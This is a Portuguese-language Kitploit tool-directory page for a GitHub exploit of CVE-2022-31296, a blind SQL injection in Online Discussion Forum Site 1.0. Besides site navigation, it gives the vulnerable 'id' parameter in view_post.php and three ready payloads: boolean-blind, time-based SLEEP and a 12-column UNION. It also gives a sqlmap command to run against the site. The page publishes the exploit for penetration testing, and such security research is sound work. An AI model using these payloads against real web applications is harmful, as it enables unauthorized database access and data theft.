Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-31296 — Site de Fórum de Discussão Online 1.0 - Injeção SQL Cega | Kitploit
Ferramentas/GitHubGitHub/bigzooooz/cve-2022-31296
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubbigzooooz/cve-2022-31296

CVE-2022-31296

Site de Fórum de Discussão Online 1.0 - Injeção SQL Cega

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-31296

Online Discussion Forum Site 1.0 - Injeção SQL Cega

Título do Exploit: Online Discussion Forum Site 1.0 - Injeção SQL Cega

Data: 2022-06-13

CVE: CVE-2022-31296

Autor do Exploit: Abdulaziz Saad (@b4zb0z)

Homepage do Fornecedor: https://www.sourcecodester.com/

Link do Software: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Versão: 1.0

Testado em: LAMP, Ubuntu

[#] Localização da Vulnerabilidade: $_GET['id'] em /odfs/posts/view_post.php:3

root@kitploit:~
Parâmetro: id (GET)
root@kitploit:~
Tipo: cego baseado em booleano
Título: AND cego baseado em booleano - cláusula WHERE ou HAVING
Payload: p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq
root@kitploit:~
Tipo: cego baseado em tempo
root@kitploit:~
Título: MySQL >= 5.0.12 AND cego baseado em tempo (query SLEEP)
Payload: p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN
root@kitploit:~
Tipo: consulta UNION
root@kitploit:~
Título: Consulta UNION genérica (NULL) - 12 colunas
Payload: p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] Exploração Usando SQLMAP: sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql

Baixar ferramenta